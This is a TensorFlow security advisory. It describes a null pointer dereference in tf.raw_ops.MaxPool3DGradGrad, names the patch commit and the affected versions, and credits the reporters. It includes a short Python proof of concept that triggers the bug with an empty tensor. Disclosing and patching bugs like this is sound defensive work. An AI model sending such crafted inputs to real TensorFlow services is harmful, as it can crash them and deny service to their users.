Undefined behavior in `MaxPool3DGradGrad`

Impact

The implementation of tf.raw_ops.MaxPool3DGradGrad exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors:

import tensorflow as tf

orig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPool3DGradGrad(
    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
    strides=strides, padding=padding)

The implementation fails to validate that the 3 tensor inputs are not empty. If any of them is empty, then accessing the elements in the tensor results in dereferencing a null pointer.

Patches

We have patched the issue in GitHub commit a3d9f9be9ac2296615644061b40cefcee341dcc4.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

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Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.